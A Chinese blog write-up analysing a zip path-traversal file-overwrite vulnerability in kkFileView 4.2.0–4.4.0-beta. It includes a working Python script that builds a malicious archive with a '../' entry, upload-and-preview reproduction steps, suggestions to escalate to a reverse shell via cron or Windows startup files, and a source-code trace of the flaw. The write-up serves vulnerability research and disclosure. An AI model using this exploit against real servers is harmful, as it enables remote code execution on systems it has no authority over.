kkFileView 4.2.0-4.4.0 任意文件上传导致远程执行漏洞分析
Yu9

首发先知社区

链接:https://xz.aliyun.com/t/14315

漏洞介绍

kkFileView是使用spring boot搭建的文件文档在线预览解决方案,支持主流办公文档的在线预览。
kkFileView 4.2.0 到4.4.0-beta版本中文件上传功能存在zip路径穿越问题,导致攻击者可以通过上传恶意构造的zip包,覆盖任意文件。

环境搭建

https://github.com/kekingcn/kkFileView/releases/tag/v4.3.0

问题:

aspose依赖加载不了

解决:

把配置的其它仓库注释掉,使用这个

1
2
3
4
<mirror>
<id>aspose-maven-repository</id>
<url>http://artifact.aspose.com/repo/</url>
</mirror>

添加jar包

image-20240418121401842

访问 http://127.0.0.1:8012

image-20240418121548423

漏洞复现

制作恶意hack.zip,注意里面必须有一个正常文件,例如test,便于创建hack.zip_缓存文件

1
2
3
4
5
6
7
8
9
10
11
12
13
import zipfile

if __name__ == "__main__":
try:
binary1 = b'test'
binary2 = b'test_Yu9'
zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("hack.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../AAA/flag", binary2)
zipFile.close()
except IOError as e:
raise e

第一步上传恶意压缩包

image-20240418133422931

第二步点击预览

image-20240418133716239

可以看到任意写入文件,利用思路:

  • 在linux下且高权限的情况下,可以通过写入计划任务反弹shell。
  • 在windows下高权下可以通过写自启动 的方式getshell。

漏洞分析

image-20240418134045926

通过url我们定位到漏洞的入口点:cn.keking.web.controller.OnlinePreviewController#onlinePreview

image-20240418134211815

会根据文件的 URL 来获取文件的属性信息,并根据文件属性信息选择合适的文件预览处理器来进行文件预览处理。

在此处打个断点跟进

image-20240418134823146

走到cn.keking.service.impl.CompressFilePreviewImpl#filePreviewHandle

image-20240418134945567

在其中使用了CompressFileReader#unRar方法来处理压缩文件

跟进cn.keking.service.CompressFileReader#unRar

image-20240418140027259

大概做了一下几件事:

  • 使用 SevenZip 库中的 openInArchive 方法打开了一个 SevenZip 压缩文件,并将其内容读取到 inArchive 对象中
  • 通过调用 getSimpleInterface() 方法,获取到该压缩文件的简单接口。
  • 调用 getArchiveItems() 方法会返回一个包含了压缩文件中所有项的列表。

之后就是遍历处理的过程,漏洞点也就在这块,没有对文件路径做处理,就直接进行拼接创建

image-20240418140752382

参考

https://www.oscs1024.com/hd/MPS-wzyc-o678

https://github.com/luelueking/kkFileView-v4.3.0-RCE-POC?tab=readme-ov-file

由 Hexo 驱动 & 主题 Keep
总字数 50.7k 访客数 访问量